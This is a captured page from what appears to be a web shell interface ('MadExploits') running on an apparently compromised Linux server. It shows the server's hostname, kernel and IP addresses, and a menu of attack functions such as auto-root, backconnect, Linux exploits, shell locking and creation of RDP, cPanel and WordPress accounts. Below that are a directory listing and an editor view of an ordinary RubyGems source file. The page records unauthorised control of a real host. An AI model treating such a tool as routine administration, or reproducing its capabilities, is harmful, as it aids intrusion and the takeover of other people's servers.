Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
rubygems /
rubygems /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
build_command.rb
1.48
KB
-rw-r--r--
cert_command.rb
8.31
KB
-rw-r--r--
check_command.rb
2.23
KB
-rw-r--r--
cleanup_command.rb
4.24
KB
-rw-r--r--
contents_command.rb
4.09
KB
-rw-r--r--
dependency_command.rb
5.16
KB
-rw-r--r--
environment_command.rb
4.77
KB
-rw-r--r--
fetch_command.rb
1.78
KB
-rw-r--r--
generate_index_command.rb
2.56
KB
-rw-r--r--
help_command.rb
10.15
KB
-rw-r--r--
install_command.rb
8.07
KB
-rw-r--r--
list_command.rb
940
B
-rw-r--r--
lock_command.rb
2.7
KB
-rw-r--r--
mirror_command.rb
624
B
-rw-r--r--
open_command.rb
1.79
KB
-rw-r--r--
outdated_command.rb
852
B
-rw-r--r--
owner_command.rb
2.53
KB
-rw-r--r--
pristine_command.rb
5.2
KB
-rw-r--r--
push_command.rb
2.56
KB
-rw-r--r--
query_command.rb
9.33
KB
-rw-r--r--
rdoc_command.rb
2.49
KB
-rw-r--r--
search_command.rb
885
B
-rw-r--r--
server_command.rb
2.38
KB
-rw-r--r--
setup_command.rb
17.02
KB
-rw-r--r--
signin_command.rb
872
B
-rw-r--r--
signout_command.rb
906
B
-rw-r--r--
sources_command.rb
5.21
KB
-rw-r--r--
specification_command.rb
3.31
KB
-rw-r--r--
stale_command.rb
962
B
-rw-r--r--
uninstall_command.rb
4.61
KB
-rw-r--r--
unpack_command.rb
4.84
KB
-rw-r--r--
update_command.rb
6.97
KB
-rw-r--r--
which_command.rb
2.17
KB
-rw-r--r--
yank_command.rb
2.3
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generate_index_command.rb
# frozen_string_literal: true require 'rubygems/command' require 'rubygems/indexer' ## # Generates a index files for use as a gem server. # # See `gem help generate_index` class Gem::Commands::GenerateIndexCommand < Gem::Command def initialize super 'generate_index', 'Generates the index files for a gem server directory', :directory => '.', :build_modern => true add_option '-d', '--directory=DIRNAME', 'repository base dir containing gems subdir' do |dir, options| options[:directory] = File.expand_path dir end add_option '--[no-]modern', 'Generate indexes for RubyGems', '(always true)' do |value, options| options[:build_modern] = value end add_option '--update', 'Update modern indexes with gems added', 'since the last update' do |value, options| options[:update] = value end end def defaults_str # :nodoc: "--directory . --modern" end def description # :nodoc: <<-EOF The generate_index command creates a set of indexes for serving gems statically. The command expects a 'gems' directory under the path given to the --directory option. The given directory will be the directory you serve as the gem repository. For `gem generate_index --directory /path/to/repo`, expose /path/to/repo via your HTTP server configuration (not /path/to/repo/gems). When done, it will generate a set of files like this: gems/*.gem # .gem files you want to # index specs.<version>.gz # specs index latest_specs.<version>.gz # latest specs index prerelease_specs.<version>.gz # prerelease specs index quick/Marshal.<version>/<gemname>.gemspec.rz # Marshal quick index file The .rz extension files are compressed with the inflate algorithm. The Marshal version number comes from ruby's Marshal::MAJOR_VERSION and Marshal::MINOR_VERSION constants. It is used to ensure compatibility. EOF end def execute # This is always true because it's the only way now. options[:build_modern] = true if not File.exist?(options[:directory]) or not File.directory?(options[:directory]) then alert_error "unknown directory name #{options[:directory]}." terminate_interaction 1 else indexer = Gem::Indexer.new options.delete(:directory), options if options[:update] then indexer.update_index else indexer.generate_index end end end end
Close